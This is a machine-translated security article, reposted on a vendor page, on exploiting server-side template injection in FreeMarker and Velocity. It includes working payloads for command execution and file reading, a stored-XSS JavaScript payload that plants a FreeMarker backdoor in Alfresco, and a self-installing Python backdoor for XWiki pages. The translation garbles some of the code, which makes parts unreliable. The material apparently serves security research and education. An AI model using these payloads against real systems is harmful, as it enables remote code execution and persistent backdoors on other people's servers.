Server template injection: remote code execution on modern WEB

Source: Internet
Author: User
Tags expression engine

Server template injection: remote code execution on modern WEB

0x01 development Exploit

Many template engines attempt to limit the ability of the template program to execute arbitrary code to prevent the Application Layer logic from attacking the expression engine. Some template engines try to securely process untrusted user input through sandbox and other means. Under these measures, developing a template backdoor becomes very challenging.

FreeMarker

FreeMarke is one of the most popular Java templates and is also the most frequent template for user operations. The FreeMarker official website explains the risks of allowing "users to provide" templates:


Corresponding translation:

22. Can users upload template files? Does this affect security? Generally, you should not allow users to perform such operations unless they are administrators or trusted users. The template is a source code file similar to the *. java file. If you still want to allow users to upload template files, here is what you should consider: http://freemarker.org/docs/app_faq.html#faq_template_uploading_security
After some low-risk security problems such as DoS, we can see the following:


Corresponding translation:

Built-in new operator (Configuration. setNewBuiltinClassResolver, Environment. setNewBuiltinClassResolver): use "com. example. SomeClass" like this in the template file "? New (), which is very important for the FTL library, but does not need to be used in normal template files. FreeMarker contains a TemplateModel interface, which can be used to construct any java object. The new operator can instantiate the implementation class of TemplateModel. Some dangerous TemplateModel implementation classes may be in classpath. Even if a class does not implement the TemplateModel interface, the static code block in this class will also be executed. To avoid this, you can use the TemplateClassResolver class to restrict access to the class, as shown below:
TemplateClassResolver. ALLOWS_NOTHING_RESOLVER

This warning is a bit mysterious, but it reminds us that it is possible to complete exp through the built-in new operator. Let's take a look at the new operator documentation:


Corresponding translation:

This built-in operator requires security concerns, because the template writer can use it to construct any java object and then use these java objects for processing, as long as they implement the TemplateModel interface. The template writer can also trigger the code in the static code block of the class, even if the class does not implement the TemplateModel interface. If you allow a user to upload a template that is not very trusted, you should check the topic in the example. Http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new
Is the implementation class of TemplateModel useful to us? Let's take a look at the JavaDoc of this interface:


The name of a class appears: Execute.

View the details of this class and find that it can do what we want: receive input and execute

It is very easy to use:
 
$ {Ex ("id ")}
Uid = 119 (tomcat7) gid = 127 (tomcat7) groups = 127 (tomcat7)

This payload will be very useful later.

Supplement:

After studying other implementation classes of the TemplateModel, we found that the ObjectConstructor class is equally useful. We can see from the name that this class is used to construct objects of other classes, you can see how to use the code:

The code shows the parameters that provide the class name and constructor, and you can use the ObjectConstructor class to construct the desired class. With this, we can execute any java code, the following two instances are provided: one is to execute commands and the other is to read files.
Command Execution:
 

                           ${line}    ${""}


File Reading:

                            ${line?html}    ${""}Velocity


Velocity is another popular Java template framework, and it is very difficult to exploit. There is no "security considerations" page to identify risky functions and internal variables. The following shows the variable name brute-force cracking with Burp, And the return value of the server is payload on the left.

Change
The volume class seems useful because it returns the Class Object of an Object class. Google found the link https://velocity.apache.org/tools/releases/2.0/summary.html:

You can see a method and an attribute:


We can combine $ class. inspect and $ class. type to construct any object. Then we can use runtime.exe c () to execute any command. This idea can be confirmed using the following code, which may cause a delay.
$ Class. inspect ("java. lang. Runtime" 2.16.type.getruntime(cmd.exe c ("sleep 5"). waitFor ()
[5 second time delay]
0

It is troublesome to obtain command execution results:
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#endtomcat7

Supplement:

I have to say that the method of the original author is a little troublesome, and this method can only be used in the Velocity Tool, not in the Velocity Engine. In fact, this method can be directly used for reflection. The Code is as follows:
# Set ($ exp = "exp ")
$ Exp. getClass (). forName ("java. lang. Runtime" pai.getruntime(cmd.exe c ("whoami ")

0x02 two cases

Case 1: Alfresco

Alfresco is a CMS system. Low-Permission users can exploit a stored XSS vulnerability to obtain webshells using FreeMarker template injection. The FreeMarker backdoor created earlier can be used directly, but I have extended it to the form of using request parameters as commands:

$ {Ex (url. getArgs ())}

Low-Permission users do not have the permission to edit the template, but they can use the Administrator account to install the backdoor by storing XSS. I wrote the following JavaScript code to complete this attack:
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
The GUID of the template is different, but users with low permissions can easily obtain it through the "Data Dictionary. In addition, unlike other application administrators who can control the entire web server, alfresco system administrators have strict restrictions on the operations they can perform.


Case 2: XWiki Enterprise

XWiki Enterprise is a professional wiki program. By default, anonymous users can register users and embed the Velocity template code when editing the wiki page. This feature makes it an ideal target for template injection. However, the previously created Velocity payload is unavailable because $ class is not available here.

XWiki says Velocity as follows:


Corresponding translation:

XWiki sandbox provides secure object access, and each API call detects permissions and prohibits unauthorized operations on resources. Therefore, special permission control is not required. Other scripting languages require the scripting language writers to have the permission to execute them, but in addition, they access all resources on the server ....... If you do not have the permission, you cannot instantiate an object. You can only use the secure resources provided by text and XWiki APIs. If you follow the correct method provided by XWiki, XWiki can safely develop a large number of applications ....... You do not need to have the Programming permission to browse a page containing scripts. You only need to save the page. Http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting

In other words, XWiki not only supports Velocity, but also supports scripts without sandbox like Groovy and Python. However, this operation requires the programming permission. This is a good thing because it converts Elevation of Privilege into arbitrary code execution. Since we can only use Velocity, we must use the XWiki API.

$ The doc class has some interesting methods. A clever reader may find a defect:


The content creator of a wiki page is the last user to edit it. Different descriptions of the save method and the saveAsAuthor method, the save method does not save the content as the author, but uses the identity of the user currently accessing the page. In other words, a low-Permission user can create a wiki page. When a user with the programming permission views and edits and saves the page, the script is executed. Let's inject the following Python BACKDOOR:
from subprocess import check_outputq = request.get('q') or 'true'q = q.split(' ')print ''+check_output(q)+''

We only need to add some code to obtain the Administrator's permissions:
innocent content#if( $doc.hasAccessLevel("programming") )$doc.setContent("innocent contentfrom subprocess import check_outputq = request.get('q') or 'true'q = q.split(' ')print ''+check_output(q)+''")$doc.save()#end

When a page containing such content is viewed by a user with the programming permission, the backdoor is automatically installed. Then, all the people who access this page can execute any command:


0x03 postscript

The attack ideas proposed by the author are still very good. I used to know that such template files can be used to execute arbitrary code, but I did not think deeply about further exploitation methods, the traditional attack method is generally to obtain the background administrator privilege and then use the getshell vulnerability such as upload. However, in fact, the background template editing function often allows you to directly execute arbitrary code, after testing, most applications with the template editing function have similar problems. It seems that the more thorough the technology understanding in the attack process, the wider the train of thought.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.